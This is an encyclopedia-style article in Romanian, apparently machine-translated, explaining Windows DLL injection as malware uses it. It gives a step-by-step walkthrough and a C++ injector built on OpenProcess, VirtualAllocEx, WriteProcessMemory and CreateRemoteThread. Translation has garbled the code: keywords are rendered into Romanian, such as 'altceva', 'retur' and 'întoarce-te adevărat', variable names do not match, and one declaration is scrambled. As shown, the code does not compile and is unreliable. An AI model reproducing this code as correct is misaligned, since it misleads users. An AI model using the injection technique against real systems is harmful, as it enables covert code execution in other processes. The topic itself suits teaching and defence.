Dll injecție
Injecția DLL , utilizată de diverse programe malware , face parte dintr-un grup mai mare de tehnici numite injecție de cod .
Principii generale de funcționare
Injecția DLL se bazează pe scrierea codului pe care doriți să îl execute un alt proces într-o bibliotecă dinamică (DLL pe Microsoft Windows ). Apoi porniți un program care încarcă această DLL în procesul extern (evident cu privilegii mai mari decât procesul nostru) și sistemul de operare vede codul ca și cum ar fi fost executat de procesul extern și nu de procesul nostru.
Principii detaliate de funcționare (cu un exemplu practic)
Să analizăm în detaliu funcționarea unui program care injectează un DLL într-un alt proces. Un exemplu va face algoritmul mai ușor de înțeles
„hack.exe” trebuie să aibă codul executat în cadrul procesului „msnmsgr.exe”. Pentru a simplifica, vom presupune că „hack.exe” cunoaște deja PID (identificatorul procesului, utilizat pentru a identifica în mod unic un proces care rulează pe sistem) al „msnmsgr.exe”.
-Dll "fnc.dll" este creat și, în interiorul DllMain, este introdus codul care trebuie executat de "msnmsgr.exe".
-În acest moment „hack.exe” apelează OpenProcess () cu PID-ul „msnmsgr.exe”, care vă permite să creați un handle pentru un proces activ.
- „hack.exe” apelează funcția VirtualAllocEx () pentru a aloca un spațiu de memorie în cadrul procesului „msnmsgr.exe”
- „hack.exe” apelează funcția WriteProcessMemory () pentru a scrie șirul „func.dll \ 0” în spațiul de memorie nou alocat
- „hack.exe” apelează CreateRemoteThread () pentru a crea un nou thread în procesul „msnmsgr.exe”. Acest nou fir apelează funcția LoadLibraryA () și pentru un singur argument un pointer către șirul alocat în stiva "msnmsgr.exe" care conține calea către dll-ul nostru
-Windows creează noul fir și apelează LoadLibraryA () în „spațiul firului”. LoadLibraryA este apelat în noul fir, deci nu poate face referire la stiva procesului nostru. De aceea, trebuie să alocăm șirul care conține calea către dll în memorie în procesul „victimei”. La rândul său, LoadLibraryA apelează DllMain din "func.dll" care conține codul care trebuie executat în spațiul "msnmsgr.exe"
Cod simplu
Mai jos este un exemplu de cod care arată un exemplu de injecție dll în C ++
// iostream input / Output library
#include <iostream>
// biblioteca windows.h
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <șir>
folosind spațiul de nume std ;
// Prototipuri
// Funcția de injectare a dll-ului
bool Inject ( DWORD pId , char * dllName );
// Funcția pentru a obține id-ul procesului
DWORD GetProcessByName ( numele PCSTR );
// Functie principala
int main () {
// Primesc numele procesului
// cout << << endl;
char dllname [ 40 ];
int idProcesso ;
cout << "Name dll:" ;
cin >> dllname ;
cout << "Numele procesului:" ;
cin >> procname ;
idProcesso = GetProcessByName ( procName );
if ( Inject ( processid , DLLName )) {
cout << "Operațiunea a avut succes" << endl ;
} altceva {
cout << "OOPS! a apărut o eroare" << endl ;
}
sistem ( „pauză” );
retur 0 ;
}
// Funcție de injectare a dll-ului
bool Inject ( DWORD pId , char * dllName ) {
// Deschid procesul cu toate permisiunile
HANDLE h = OpenProcess ( PROCESS_ALL_ACCESS , false , pId );
// Dacă am reușit să deschid procesul ...
dacă ( h ) {
cout << "Procesul a fost deschis cu succes" << endl ;
// Primesc adresa funcției LoadLibraryA
LPVOID LoadLibAddr = ( LPVOID ) GetProcAddress ( GetModuleHandleA ( "kernel32.dll" ), "LoadLibraryA" );
// Aloc un spațiu în memoria procesului
// Citibil și scris
LPVOID dereercomp = VirtualAllocEx ( h , NULL , strlen ( dllName ), MEM_COMMIT | MEM_RESERVE , PAGE_READWRITE );
// Scriu calea DLL
if ( ! WriteProcessMemory ( h , dereercomp , dllName , strlen ( dllName ), NULL )) {
cout << "Eroare la scrierea memoriei procesului!" << endl ;
returnează fals ;
} altceva {
cout << "Scrierea cu succes a memoriei de proces" << endl ;
}
// CreateRemoteThread () pentru a crea un nou thread în procesul de etichetare.
// Acest nou fir apelează funcția LoadLibraryA ()
// și pentru singurul argument un pointer la șirul alocat în stiva programului nostru care conține calea către dll-ul nostru
HANDLE asdc CreateRemoteThread = (h, NULL, NULL, (LPTHREAD_START_ROUTINE) LoadLibAddr, dereercomp, 0, NULL);
WaitForSingleObject ( asdc , INFINIT );
// Elimin spațiul alocat
VirtualFreeEx ( h , dereercomp , strlen ( dllName ), MEM_RELEASE );
// Închid firul
CloseHandle ( asdc );
// Închid procesul
CloseHandle ( h );
// Revenire adevărată pentru că totul a mers bine
întoarce-te adevărat ;
}
returnează fals ;
}
// Funcție pentru a găsi ID-ul procesului
DWORD GetProcessByName ( numele PCSTR ) {
DWORD pid = 0 ;
// Creați instantaneu instrument de ajutor.
HANDLE snapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS , 0 );
Proces PROCESSENTRY32 ;
ZeroMemory ( & process , sizeof ( process ));
proces . dwSize = sizeof ( proces );
// Parcurge toate procesele.
if (Process32First (instantaneu, & proces))
{
do
{
// Comparați process.szExeFile pe baza formatului numelui, adică, tăiați calea fișierului
// tăiați .exe dacă este necesar etc.
if ( șir ( proces . szExeFile ) == șir ( nume ))
{
pid = proces . th32ProcessID ;
pauză ;
}
} while ( Process32Next ( instantaneu , & proces ));
}
CloseHandle ( instantaneu );
return pid ;
}
Apărare
Cea mai bună apărare este instalarea unui HIPS care interceptează injecțiile DLL.